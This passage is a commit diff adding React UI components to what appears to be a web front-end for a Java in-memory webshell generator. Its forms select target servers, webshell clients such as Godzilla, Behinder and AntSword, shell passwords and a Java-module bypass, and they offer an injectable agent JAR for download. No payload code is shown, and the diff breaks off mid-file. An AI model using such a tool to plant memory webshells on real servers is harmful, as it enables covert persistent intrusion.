feat: support fumadocs

web/app/components/code-viewer.tsx

@@ -0,0 +1,121 @@
+import type { VariantProps } from "class-variance-authority";
+import { Check, Copy } from "lucide-react";
+import {
+  type HTMLProps,
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useState,
+} from "react";
+import CopyToClipboard from "react-copy-to-clipboard";
+import { useTranslation } from "react-i18next";
+import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
+import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
+import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
+import { toast } from "sonner";
+import { Button, type buttonVariants } from "@/components/ui/button";
+import { cn } from "@/lib/utils";
+
+SyntaxHighlighter.registerLanguage("java", java);
+interface CopyButtonProps extends React.ComponentProps<"button"> {
+  value: string;
+  src?: string;
+}
+
+export function CopyButton({
+  value,
+}: Readonly<CopyButtonProps & VariantProps<typeof buttonVariants>>) {
+  const [hasCopied, setHasCopied] = useState(false);
+  const { t } = useTranslation(["common"]);
+
+  useEffect(() => {
+    if (hasCopied) {
+      const timer = setTimeout(() => {
+        setHasCopied(false);
+      }, 1000);
+      return () => clearTimeout(timer);
+    }
+  }, [hasCopied]);
+
+  const handleCopy = useCallback(() => {
+    if (!hasCopied) {
+      setHasCopied(true);
+      toast.success(t("copySuccess"), { duration: 1000 });
+    }
+  }, [hasCopied, t]);
+
+  return (
+    <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
+      <Button
+        variant="ghost"
+        size="icon"
+        type="button"
+        className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+        disabled={hasCopied}
+      >
+        {hasCopied ? <Check /> : <Copy />}
+      </Button>
+    </CopyToClipboard.CopyToClipboard>
+  );
+}
+
+export default function CodeViewer({
+  code,
+  header,
+  button,
+  language,
+  height,
+  showLineNumbers = true,
+  wrapLongLines = true,
+}: Readonly<CodeViewerProps>) {
+  const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined =
+    wrapLongLines
+      ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
+      : undefined;
+  return (
+    <div className="rounded-lg border">
+      <div
+        className={cn(
+          "flex items-center border-b p-2 justify-end",
+          header && "justify-between",
+        )}
+      >
+        {header}
+        <div className="flex items-center gap-2">
+          {button}
+          <CopyButton value={code} variant="ghost" size="sm" />
+        </div>
+      </div>
+      <div className="relative overflow-hidden text-xs wrap-all">
+        <SyntaxHighlighter
+          language={language}
+          style={materialDark}
+          showLineNumbers={showLineNumbers}
+          wrapLongLines={wrapLongLines}
+          lineProps={lineProps}
+          customStyle={{
+            margin: 0,
+            padding: showLineNumbers ? 0 : "1em 1em",
+            borderRadius: "0 0 var(--radius) var(--radius)",
+            height: height,
+            whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
+            overflowWrap: wrapLongLines ? "normal" : "break-word",
+          }}
+        >
+          {code}
+        </SyntaxHighlighter>
+      </div>
+    </div>
+  );
+}
+
+interface CodeViewerProps {
+  code: string;
+  language: string;
+  header?: ReactNode;
+  button?: ReactNode;
+  height?: string | number;
+  showLineNumbers?: boolean;
+  wrapLongLines?: boolean;
+  lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
+}

web/app/components/copyable-field.tsx

@@ -0,0 +1,66 @@
+import { Check, Copy } from "lucide-react";
+import { useCallback, useEffect, useState } from "react";
+import CopyToClipboard from "react-copy-to-clipboard";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+import { Button } from "@/components/ui/button";
+import { Label } from "@/components/ui/label";
+
+interface CopyableFieldProps {
+  label: string;
+  value?: string;
+  text?: string;
+}
+
+export function CopyableField({
+  label,
+  value,
+  text,
+}: Readonly<CopyableFieldProps>) {
+  const [hasCopied, setHasCopied] = useState(false);
+  const { t } = useTranslation(["common"]);
+
+  useEffect(() => {
+    if (hasCopied) {
+      const timer = setTimeout(() => {
+        setHasCopied(false);
+      }, 1000);
+      return () => clearTimeout(timer);
+    }
+  }, [hasCopied]);
+
+  const handleCopy = useCallback(() => {
+    if (!hasCopied) {
+      setHasCopied(true);
+      toast.success(t("copyLabelSuccess", { label }), {
+        duration: 1000,
+      });
+    }
+  }, [hasCopied, label, t]);
+
+  return (
+    <div className="flex flex-col gap-1 py-1">
+      <div className="flex items-center justify-between gap-2 h-6">
+        <Label className="text-sm text-muted-foreground">{label}：</Label>
+        {value && (
+          <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
+            <Button
+              variant="ghost"
+              size="icon"
+              type="button"
+              className="h-8 w-8"
+              disabled={hasCopied}
+            >
+              {hasCopied ? (
+                <Check className="h-4 w-4" />
+              ) : (
+                <Copy className="h-4 w-4" />
+              )}
+            </Button>
+          </CopyToClipboard.CopyToClipboard>
+        )}
+      </div>
+      <p className="text-sm break-all">{text}</p>
+    </div>
+  );
+}

web/app/components/language-switcher.tsx

@@ -0,0 +1,23 @@
+import { LanguagesIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Button } from "./ui/button";
+
+export function LanguageSwitcher() {
+  const { i18n } = useTranslation();
+
+  const toggleLanguage = () => {
+    const newLang = i18n.language === "en" ? "zh-CN" : "en";
+    i18n.changeLanguage(newLang);
+  };
+
+  return (
+    <Button
+      variant="ghost"
+      size="icon"
+      onClick={toggleLanguage}
+      title={i18n.language === "en" ? "Switch to Chinese" : "切换到英文"}
+    >
+      <LanguagesIcon className="h-5 w-5" />
+    </Button>
+  );
+}

web/app/components/magicui/line-shadow-text.tsx

@@ -0,0 +1,42 @@
+import { type MotionProps, motion } from "motion/react";
+import { cn } from "@/lib/utils";
+
+interface LineShadowTextProps
+  extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>,
+    MotionProps {
+  shadowColor?: string;
+  as?: React.ElementType;
+}
+
+export function LineShadowText({
+  children,
+  shadowColor = "black",
+  className,
+  as: Component = "span",
+  ...props
+}: LineShadowTextProps) {
+  const MotionComponent = motion.create(Component);
+  const content = typeof children === "string" ? children : null;
+
+  if (!content) {
+    throw new Error("LineShadowText only accepts string content");
+  }
+
+  return (
+    <MotionComponent
+      style={{ "--shadow-color": shadowColor } as React.CSSProperties}
+      className={cn(
+        "relative z-0 inline-flex",
+        "after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]",
+        "after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
+        "after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
+        "after:animate-line-shadow",
+        className,
+      )}
+      data-text={content}
+      {...props}
+    >
+      {content}
+    </MotionComponent>
+  );
+}

web/app/components/magicui/rainbow-button.tsx

@@ -0,0 +1,59 @@
+import { Slot } from "@radix-ui/react-slot";
+import { cva, type VariantProps } from "class-variance-authority";
+import React from "react";
+import { cn } from "@/lib/utils";
+
+const rainbowButtonVariants = cva(
+  cn(
+    "relative cursor-pointer group transition-all animate-rainbow",
+    "inline-flex items-center justify-center gap-2 shrink-0",
+    "rounded-sm outline-none focus-visible:ring-[3px] aria-invalid:border-destructive",
+    "text-sm font-medium whitespace-nowrap",
+    "disabled:pointer-events-none disabled:opacity-50",
+    "[&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 [&_svg]:shrink-0",
+  ),
+  {
+    variants: {
+      variant: {
+        default:
+          "border-0 bg-[linear-gradient(#121213,#121213),linear-gradient(#121213_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-primary-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] [border:calc(0.125rem)_solid_transparent] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#fff,#fff),linear-gradient(#fff_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
+        outline:
+          "border border-input border-b-transparent bg-[linear-gradient(#ffffff,#ffffff),linear-gradient(#ffffff_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-accent-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#0a0a0a,#0a0a0a),linear-gradient(#0a0a0a_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
+      },
+      size: {
+        default: "h-9 px-4 py-2",
+        sm: "h-8 rounded-xl px-3 text-xs",
+        lg: "h-11 rounded-xl px-8",
+        icon: "size-9",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+      size: "default",
+    },
+  },
+);
+
+interface RainbowButtonProps
+  extends React.ButtonHTMLAttributes<HTMLButtonElement>,
+    VariantProps<typeof rainbowButtonVariants> {
+  asChild?: boolean;
+}
+
+const RainbowButton = React.forwardRef<HTMLButtonElement, RainbowButtonProps>(
+  ({ className, variant, size, asChild = false, ...props }, ref) => {
+    const Comp = asChild ? Slot : "button";
+    return (
+      <Comp
+        data-slot="button"
+        className={cn(rainbowButtonVariants({ variant, size, className }))}
+        ref={ref}
+        {...props}
+      />
+    );
+  },
+);
+
+RainbowButton.displayName = "RainbowButton";
+
+export { RainbowButton, rainbowButtonVariants, type RainbowButtonProps };

web/app/components/memshell/main-config-card.tsx

@@ -0,0 +1,442 @@
+import {
+  ArrowUpRightIcon,
+  AxeIcon,
+  CommandIcon,
+  NetworkIcon,
+  ServerIcon,
+  ShieldOffIcon,
+  SwordIcon,
+  WaypointsIcon,
+  ZapIcon,
+} from "lucide-react";
+import { type JSX, useCallback, useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
+import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
+import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
+import CustomTabContent from "@/components/memshell/tabs/custom-tab";
+import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab";
+import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
+import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormDescription,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Label } from "@/components/ui/label";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Switch } from "@/components/ui/switch";
+import { Tabs } from "@/components/ui/tabs";
+import {
+  type MainConfig,
+  type ServerConfig,
+  ShellToolType,
+} from "@/types/memshell";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+const shellToolIcons: Record<ShellToolType, JSX.Element> = {
+  [ShellToolType.Behinder]: <ShieldOffIcon className="h-4 w-4" />,
+  [ShellToolType.Godzilla]: <AxeIcon className="h-4 w-4" />,
+  [ShellToolType.Command]: <CommandIcon className="h-4 w-4" />,
+  [ShellToolType.AntSword]: <SwordIcon className="h-4 w-4" />,
+  [ShellToolType.Suo5]: <WaypointsIcon className="h-4 w-4" />,
+  [ShellToolType.NeoreGeorg]: <NetworkIcon className="h-4 w-4" />,
+  [ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
+};
+
+const defaultServerVersionOptions = [
+  {
+    name: "Unknown",
+    value: "unknown",
+  },
+];
+
+export default function MainConfigCard({
+  mainConfig,
+  form,
+  servers,
+}: Readonly<{
+  mainConfig: MainConfig | undefined;
+  form: UseFormReturn<MemShellFormSchema>;
+  servers?: ServerConfig;
+}>) {
+  const [shellToolMap, setShellToolMap] = useState<{
+    [toolName: string]: string[];
+  }>();
+  const [shellTools, setShellTools] = useState<ShellToolType[]>([
+    ShellToolType.Godzilla,
+    ShellToolType.Behinder,
+    ShellToolType.AntSword,
+    ShellToolType.Command,
+    ShellToolType.Suo5,
+    ShellToolType.NeoreGeorg,
+    ShellToolType.Custom,
+  ]);
+  const [shellTypes, setShellTypes] = useState<string[]>([]);
+  const shellTool = form.watch("shellTool");
+  const { t } = useTranslation(["common", "memshell"]);
+
+  const [serverVersionOptions, setServerVersionOptions] = useState(
+    defaultServerVersionOptions,
+  );
+
+  // 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
+  useEffect(() => {
+    if (shellTypes.length > 0) {
+      form.setValue("shellType", shellTypes[0]);
+    }
+  }, [shellTypes, form]);
+
+  const handleServerChange = useCallback(
+    (value: string) => {
+      if (mainConfig) {
+        const newShellToolMap = mainConfig[value];
+        setShellToolMap(newShellToolMap);
+
+        const newShellTools = Object.keys(newShellToolMap);
+        setShellTools([
+          ...newShellTools.map((tool) => tool as ShellToolType),
+          ShellToolType.Custom,
+        ]);
+
+        const currentShellTool = form.getValues("shellTool");
+
+        const firstTool = newShellTools[0];
+        let currentShellTypes = null;
+
+        if (!newShellToolMap[currentShellTool]) {
+          form.setValue("shellTool", firstTool);
+          currentShellTypes = newShellToolMap[firstTool];
+        } else {
+          currentShellTypes = newShellToolMap[currentShellTool];
+        }
+        setShellTypes(currentShellTypes);
+
+        // 特殊环境的 JDK 版本
+        if (
+          (value === "SpringWebFlux" || value === "XXLJOB") &&
+          Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52
+        ) {
+          form.setValue("targetJdkVersion", "52");
+        } else {
+          form.setValue("targetJdkVersion", "50");
+        }
+
+        // 特殊的服务需要指定版本
+        if (value === "TongWeb") {
+          setServerVersionOptions([
+            ...defaultServerVersionOptions,
+            { name: "6", value: "6" },
+            { name: "7", value: "7" },
+            { name: "8", value: "8" },
+          ]);
+        } else if (value === "Jetty") {
+          setServerVersionOptions([
+            ...defaultServerVersionOptions,
+            { name: "6", value: "6" },
+            { name: "7+", value: "7+" },
+            { name: "12", value: "12" },
+          ]);
+        } else {
+          setServerVersionOptions(defaultServerVersionOptions);
+        }
+
+        form.resetField("serverVersion");
+        form.resetField("byPassJavaModule");
+        form.resetField("urlPattern");
+      }
+    },
+    [form, mainConfig],
+  );
+
+  // 处理一下默认值 server 不刷新 shellType 的问题
+  useEffect(() => {
+    if (mainConfig) {
+      const initialServer = form.getValues("server");
+      if (initialServer && mainConfig[initialServer]) {
+        handleServerChange(initialServer);
+      }
+    }
+  }, [mainConfig, form, handleServerChange]);
+
+  const handleShellToolChange = useCallback(
+    (value: string) => {
+      const resetCommand = () => {
+        form.resetField("commandParamName");
+        form.resetField("implementationClass");
+        form.resetField("encryptor");
+      };
+
+      const resetGodzilla = () => {
+        form.resetField("godzillaKey");
+        form.resetField("godzillaPass");
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetBehinder = () => {
+        form.resetField("behinderPass");
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetSuo5 = () => {
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetAntSword = () => {
+        form.resetField("antSwordPass");
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetNeoreGeorg = () => {
+        form.setValue("headerName", "Referer");
+        form.resetField("headerValue");
+      };
+
+      const resetCustom = () => {
+        form.resetField("shellClassBase64");
+      };
+
+      if (shellToolMap) {
+        let currentShellTypes = null;
+        if (value === ShellToolType.Custom) {
+          currentShellTypes = servers?.[form.getValues("server")] as string[];
+        } else {
+          currentShellTypes = shellToolMap[value];
+        }
+        setShellTypes(currentShellTypes);
+
+        form.resetField("urlPattern");
+        form.resetField("shellClassName");
+        form.resetField("injectorClassName");
+        if (value === ShellToolType.Godzilla) {
+          resetGodzilla();
+        } else if (value === ShellToolType.Behinder) {
+          resetBehinder();
+        } else if (value === ShellToolType.Command) {
+          resetCommand();
+        } else if (value === ShellToolType.Suo5) {
+          resetSuo5();
+        } else if (value === ShellToolType.AntSword) {
+          resetAntSword();
+        } else if (value === ShellToolType.NeoreGeorg) {
+          resetNeoreGeorg();
+        } else if (value === ShellToolType.Custom) {
+          resetCustom();
+        }
+      }
+      form.setValue("shellTool", value);
+    },
+    [form, servers, shellToolMap],
+  );
+
+  return (
+    <FormProvider {...form}>
+      <Card>
+        <CardHeader className="pb-1">
+          <CardTitle className="text-md flex items-center gap-2">
+            <ServerIcon className="h-5" />
+            <span>{t("common:mainConfig.title")}</span>
+          </CardTitle>
+        </CardHeader>
+        <CardContent>
+          <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+            <FormField
+              control={form.control}
+              name="server"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("common:server")}</FormFieldLabel>
+                  <Select
+                    onValueChange={(v) => {
+                      field.onChange(v);
+                      handleServerChange(v);
+                    }}
+                    value={field.value}
+                  >
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue
+                          placeholder={t("common:placeholders.select")}
+                        />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {Object.keys(servers ?? {}).map((server: string) => (
+                        <SelectItem key={server} value={server}>
+                          {server}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <FormDescription className="flex items-center">
+                    {t("memshell:tips.targetServerNotFound")}&nbsp;
+                    <a
+                      href="https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"
+                      target="_blank"
+                      rel="noreferrer"
+                      className="flex items-center underline"
+                    >
+                      {t("memshell:tips.targetServerRequest")}
+                      <ArrowUpRightIcon className="h-4" />
+                    </a>
+                  </FormDescription>
+                </FormFieldItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="serverVersion"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("common:serverVersion")}</FormFieldLabel>
+                  <Select onValueChange={field.onChange} value={field.value}>
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue
+                          placeholder={t("common:placeholders.select")}
+                        />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {serverVersionOptions.map((v) => (
+                        <SelectItem key={v.value} value={v.value}>
+                          {v.name}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <FormMessage />
+                </FormFieldItem>
+              )}
+            />
+          </div>
+          <div className="grid grid-cols-1">
+            <FormField
+              control={form.control}
+              name="shellTool"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("common:shellTool")}</FormFieldLabel>
+                  <Select
+                    value={field.value}
+                    onValueChange={(v) => handleShellToolChange(v)}
+                  >
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {shellTools.map((tool) => (
+                        <SelectItem key={tool} value={tool}>
+                          <span className="flex items-center gap-2">
+                            {shellToolIcons[tool]}
+                            {tool}
+                          </span>
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                </FormFieldItem>
+              )}
+            />
+          </div>
+          <div className="flex gap-4 mt-4 flex-col sm:flex-row xl:grid xl:grid-cols-2 2xl:flex 2xl:flex-row">
+            <FormField
+              control={form.control}
+              name="debug"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2 space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="debug"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <FormLabel htmlFor="debug">{t("common:debug")}</FormLabel>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="byPassJavaModule"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2  space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="bypass"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="shrink"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2 space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="shrink"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <Label htmlFor="shrink">{t("common:shrink")}</Label>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="staticInitialize"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2 space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="staticInitialize"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <Label htmlFor="staticInitialize">
+                    {t("common:staticInitialize")}
+                  </Label>
+                </FormItem>
+              )}
+            />
+          </div>
+        </CardContent>
+      </Card>
+      <Tabs value={shellTool} className="w-full">
+        <GodzillaTabContent form={form} shellTypes={shellTypes} />
+        <CommandTabContent form={form} shellTypes={shellTypes} />
+        <BehinderTabContent form={form} shellTypes={shellTypes} />
+        <AntSwordTabContent form={form} shellTypes={shellTypes} />
+        <Suo5TabContent form={form} shellTypes={shellTypes} />
+        <NeoRegTabContent form={form} shellTypes={shellTypes} />
+        <CustomTabContent form={form} shellTypes={shellTypes} />
+      </Tabs>
+    </FormProvider>
+  );
+}

web/app/components/memshell/package-config-card.tsx

@@ -0,0 +1,118 @@
+import { PackageIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+} from "@/components/ui/form";
+import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
+import type { PackerConfig } from "@/types/memshell";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+type Option = {
+  name: string;
+  value: string;
+};
+
+export default function PackageConfigCard({
+  packerConfig,
+  form,
+}: Readonly<{
+  packerConfig: PackerConfig | undefined;
+  form: UseFormReturn<MemShellFormSchema>;
+}>) {
+  const [options, setOptions] = useState<Array<Option>>([]);
+
+  const shellType = form.watch("shellType");
+  const server = form.watch("server");
+  const { t } = useTranslation("common");
+
+  useEffect(() => {
+    const filteredOptions = (packerConfig ?? []).filter((name) => {
+      if (!shellType || shellType === " ") {
+        return true;
+      }
+      if (shellType.startsWith("Agent")) {
+        return name.startsWith("Agent");
+      }
+      if (server.startsWith("XXL")) {
+        return !name.startsWith("Agent");
+      }
+      return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
+    });
+
+    const mappedOptions = filteredOptions.map((name) => {
+      return {
+        name: t(name),
+        value: name,
+      };
+    });
+
+    setOptions(mappedOptions);
+    const currentValue = form.getValues("packingMethod");
+    if (
+      filteredOptions.length > 0 &&
+      (!currentValue || !filteredOptions.includes(currentValue))
+    ) {
+      form.setValue("packingMethod", filteredOptions[0]);
+    }
+  }, [form, packerConfig, server, shellType, t]);
+
+  return (
+    <Card className="w-full">
+      <CardHeader className="pb-1">
+        <CardTitle className="text-md flex items-center gap-2">
+          <PackageIcon className="h-5" />
+          <span>{t("packerConfig.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        {options.length > 0 ? (
+          <FormProvider {...form}>
+            <FormField
+              control={form.control}
+              name="packingMethod"
+              render={({ field }) => (
+                <FormItem className="space-y-3">
+                  <FormLabel>{t("packerMethod")}</FormLabel>
+                  <FormControl>
+                    <RadioGroup
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      className="grid grid-cols-2 md:grid-cols-3"
+                    >
+                      {options.map(({ name, value }) => (
+                        <FormItem
+                          key={value}
+                          className="flex items-center space-x-3 space-y-0"
+                        >
+                          <FormControl>
+                            <RadioGroupItem value={value} id={value} />
+                          </FormControl>
+                          <FormLabel className="text-xs" htmlFor={value}>
+                            {name}
+                          </FormLabel>
+                        </FormItem>
+                      ))}
+                    </RadioGroup>
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </FormProvider>
+        ) : (
+          <div className="flex items-center justify-center p-4 space-x-2">
+            <div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
+            <span className="text-sm text-muted-foreground">
+              {t("loading")}
+            </span>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/quick-usage.tsx

@@ -0,0 +1,26 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+
+export function QuickUsage() {
+  const { t } = useTranslation(["common", "memshell"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:quickUsage.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li>{t("memshell:quickUsage.step1")}</li>
+          <li>{t("memshell:quickUsage.step2")}</li>
+          <li>{t("memshell:quickUsage.step3")}</li>
+          <li>{t("memshell:quickUsage.step4")}</li>
+          <li>{t("memshell:quickUsage.step5")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/agent.tsx

@@ -0,0 +1,84 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
+import type { MemShellResult } from "@/types/memshell";
+
+export function AgentResult({
+  packMethod,
+  packResult,
+  generateResult,
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation(["common"]);
+  const isPureAgent = packMethod === "AgentJar";
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} MemShellAgent.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
+            <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
+              type="button"
+              onClick={() =>
+                downloadBytes(
+                  packResult,
+                  undefined,
+                  `${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShellAgent`,
+                )
+              }
+            >
+              {t("common:download")}
+            </Button>
+          </li>
+          {isPureAgent && (
+            <li className="flex items-center justify-between">
+              <span>{t("memshell:tips.download-jattach")}</span>
+              <Button
+                size="sm"
+                variant="outline"
+                className="w-28"
+                type="button"
+                onClick={() =>
+                  window.open("https://github.com/jattach/jattach/releases")
+                }
+              >
+                {t("common:download")}
+              </Button>
+            </li>
+          )}
+          <Separator />
+          <li>
+            {isPureAgent
+              ? t("memshell:tips.agent-move-to-target")
+              : t("memshell:tips.agent-move-to-target1")}
+          </li>
+          <li>{t("memshell:tips.get-pid")}</li>
+          <li>
+            {isPureAgent
+              ? t("memshell:tips.execute-command")
+              : t("memshell:tips.execute-command1")}
+          </li>
+          <li>{t("memshell:tips.try-to-use-shell")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/basic-info.tsx

@@ -0,0 +1,195 @@
+import { FileTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { shouldHidden } from "@/lib/utils";
+import {
+  type AntSwordShellToolConfig,
+  type BehinderShellToolConfig,
+  type CommandShellToolConfig,
+  type GodzillaShellToolConfig,
+  type MemShellResult,
+  type NeoreGeorgShellToolConfig,
+  ShellToolType,
+  type Suo5ShellToolConfig,
+} from "@/types/memshell";
+import { CopyableField } from "../../copyable-field";
+import { FeedbackAlert } from "./feedback-alert";
+
+export function BasicInfo({
+  generateResult,
+}: Readonly<{ generateResult?: MemShellResult }>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="flex items-center justify-between">
+          <div className="text-md flex items-center gap-2">
+            <FileTextIcon className="h-5" />
+            <span>{t("common:basicInfo")}</span>
+          </div>
+          <FeedbackAlert />
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          <CopyableField
+            label={t("common:server")}
+            text={generateResult?.shellConfig.server}
+          />
+          <CopyableField
+            label={t("mainConfig.shellTool")}
+            text={generateResult?.shellConfig.shellTool}
+          />
+          <CopyableField
+            label={t("mainConfig.shellMountType")}
+            text={generateResult?.shellConfig.shellType}
+          />
+          {!shouldHidden(generateResult?.shellConfig?.shellType) && (
+            <CopyableField
+              label={t("mainConfig.urlPattern")}
+              text={generateResult?.injectorConfig.urlPattern}
